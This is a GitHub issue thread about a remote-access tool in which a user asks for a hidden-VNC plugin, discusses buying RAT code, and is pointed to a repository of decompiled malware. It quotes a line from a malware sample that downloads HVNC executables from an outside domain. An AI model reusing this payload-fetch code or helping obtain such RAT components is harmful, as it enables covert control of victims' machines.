DcBot icon indicating copy to clipboard operation
DcBot copied to clipboard

Can you also complete the HVNC plugin??

Open BitRatRecycleBin opened this issue 5 years ago • 8 comments

Can you also complete the HVNC plugin??

BitRatRecycleBin avatar Apr 24 '21 07:04 BitRatRecycleBin

this is something just to keep control

may add HVNC in DcRat in the future

qwqdanchun avatar Apr 24 '21 07:04 qwqdanchun

Hello friend i have see your repository on github and i found this malware sample : https://github.com/qwqdanchun/malware_decompiled_code/blob/master/FirebirdRAT_03_2020/ServerDll/Dll/HVNC.cs

Can you share those 2 files for study ?

if (Environment.Version.Major == 2) { data = webClient.DownloadData("http://fuehaoisdfhjaefouiads.info/HVNC20.exe"); } if (Environment.Version.Major == 4) { data = webClient.DownloadData("http://fuehaoisdfhjaefouiads.info/HVNC40.exe"); }

Sent with ProtonMail Secure Email.

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Saturday, April 24, 2021 11:00 AM, qwqdanchun @.***> wrote:

this is something just to keep control

may add HVNC in DcRat in the future

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or unsubscribe.

BitRatRecycleBin avatar Apr 24 '21 08:04 BitRatRecycleBin

maybe you can buy the hive rat. It's come from firebird rat

qwqdanchun avatar Apr 24 '21 08:04 qwqdanchun

do you sell it?

Sent with ProtonMail Secure Email.

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Saturday, April 24, 2021 11:12 AM, qwqdanchun @.***> wrote:

maybe you can buy the hive rat. It's come from firebird rat

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or unsubscribe.

BitRatRecycleBin avatar Apr 24 '21 08:04 BitRatRecycleBin

or maybe sell those 2 files?

Sent with ProtonMail Secure Email.

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Saturday, April 24, 2021 11:12 AM, qwqdanchun @.***> wrote:

maybe you can buy the hive rat. It's come from firebird rat

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or unsubscribe.

BitRatRecycleBin avatar Apr 24 '21 08:04 BitRatRecycleBin

I don't sell rat

qwqdanchun avatar Apr 24 '21 08:04 qwqdanchun

maybe ask this

https://github.com/p3pperp0tts/malware_decompiled_code

qwqdanchun avatar Apr 24 '21 08:04 qwqdanchun

ok,thanks.

Sent with ProtonMail Secure Email.

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Saturday, April 24, 2021 11:14 AM, qwqdanchun @.***> wrote:

I don't sell rat

— You are receiving this because you authored the thread. Reply to this email directly, view it on GitHub, or unsubscribe.

BitRatRecycleBin avatar Apr 24 '21 08:04 BitRatRecycleBin